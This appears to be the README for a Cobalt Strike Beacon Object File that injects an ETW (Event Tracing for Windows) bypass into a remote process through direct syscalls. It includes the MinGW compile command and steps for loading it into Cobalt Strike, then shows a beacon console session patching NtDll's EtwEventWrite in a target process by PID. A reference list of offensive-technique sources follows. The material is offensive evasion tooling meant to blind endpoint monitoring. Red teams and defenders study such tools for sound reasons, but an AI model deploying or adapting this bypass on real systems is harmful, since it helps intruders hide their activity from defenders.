CobaltStrike BOF – Inject ETW Bypass


CobaltStrike BOF – Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate)

Running InjectEtwBypass BOF from CobaltStrike to Bypass ETW in Notepad.exe


Compile with x64 MinGW:

x86_64-w64-mingw32-gcc -m64 -mwindows -c injectEtwBypass.c -o injectEtwBypass.o \
-masm=intel -Wall -fno-asynchronous-unwind-tables -nostdlib -fno-ident -Wl,-Tlinker.ld,--no-seh

Run from Cobalt Strike Beacon Console

  • After compiling injectEtwBypass.o, load the injectEtwBypass.cna script into Cobalt Strikes via the Script Manager
  • Once loaded into Cobalt Strike, you can use the command from the interactive beacon console:
beacon> help
injectEtwBypass - Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate)
beacon> help injectEtwBypass
Synopsis: injectEtwBypass PID
beacon> injectEtwBypass 8968
[*] Inject ETW Bypass (Bobby Cooke//SpiderLabs|@0xBoku|
[+] host called home, sent: 2336 bytes
[+] received output:
Injecting NTDLL.EtwEventWrite bypass in remote process: 8968 (PID)

Credits / References

ETW Bypass Massive Credits to Adam Chester (@_xpn_) of TrustedSec

Creating Shellcode BOFs with C Chetan Nayak (@NinjaParanoid)

Executing Position Independent Shellcode from Object Files in Memory

HalosGate SysCaller

HellsGate Syscaller

Process Injection – Pavel Yosifovich (@zodiacon)

Windows Process Injection for Red-Blue Teams

BOF Helpers

Raphael Mudge – Beacon Object Files – Luser Demo
Cobalt Strike – Beacon Object Files



Great Resource for learning Intel ASM – Vivek Ramachandran (@vivekramac)

Implementing ASM in C Code with GCC